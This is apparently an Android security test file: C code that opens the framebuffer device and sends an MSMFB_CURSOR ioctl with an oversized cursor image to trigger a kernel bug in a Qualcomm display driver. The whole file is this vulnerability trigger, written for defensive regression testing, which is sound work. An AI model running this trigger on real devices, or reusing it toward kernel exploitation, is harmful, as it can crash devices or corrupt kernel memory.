/*
* Copyright (C) 2017 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/fb.h>
#include <stdlib.h>
#include <string.h>
#define MSMFB_IOCTL_MAGIC 'm'
#define MSMFB_CURSOR _IOW(MSMFB_IOCTL_MAGIC, 130, struct fb_cursor)
int call_ioctl(int file_desc, unsigned long request, void* param)
{
int ret_val;
ret_val = ioctl(file_desc, request, param);
if (ret_val < 0) {
return ret_val;
}
return ret_val;
}
int test_mdss_msm_fb(int file_desc)
{
int ret_val;
unsigned char* buf = malloc(0x100);
struct fb_cursor cursor;
memset(&cursor, 0, sizeof(struct fb_cursor ));
cursor.set = FB_CUR_SETIMAGE;
cursor.enable = 1;
cursor.rop = 0;
cursor.mask = 0;
cursor.hot.x = 0x100;
cursor.hot.y = 0x100;
cursor.image.dx = 1439;
cursor.image.dy = 2559;
cursor.image.width = 0x1000;
cursor.image.height = 0x1000;
cursor.image.fg_color = 0xff;
cursor.image.bg_color = 0xff00;
cursor.image.depth = 32;
cursor.image.data = malloc(cursor.image.width * cursor.image.height * 0x4 );
ret_val = call_ioctl(file_desc, MSMFB_CURSOR, &cursor );
if(ret_val < 0) {
return ret_val;
}
free((void *)cursor.image.data);
free(buf);
return ret_val;
}
int main()
{
int file_desc, ret_val;
const char* DEVICE_FILE_NAME = "/dev/graphics/fb0";
file_desc = open(DEVICE_FILE_NAME, 0);
if (file_desc < 0) {
return -1;
}
test_mdss_msm_fb(file_desc);
close(file_desc);
return 0;
}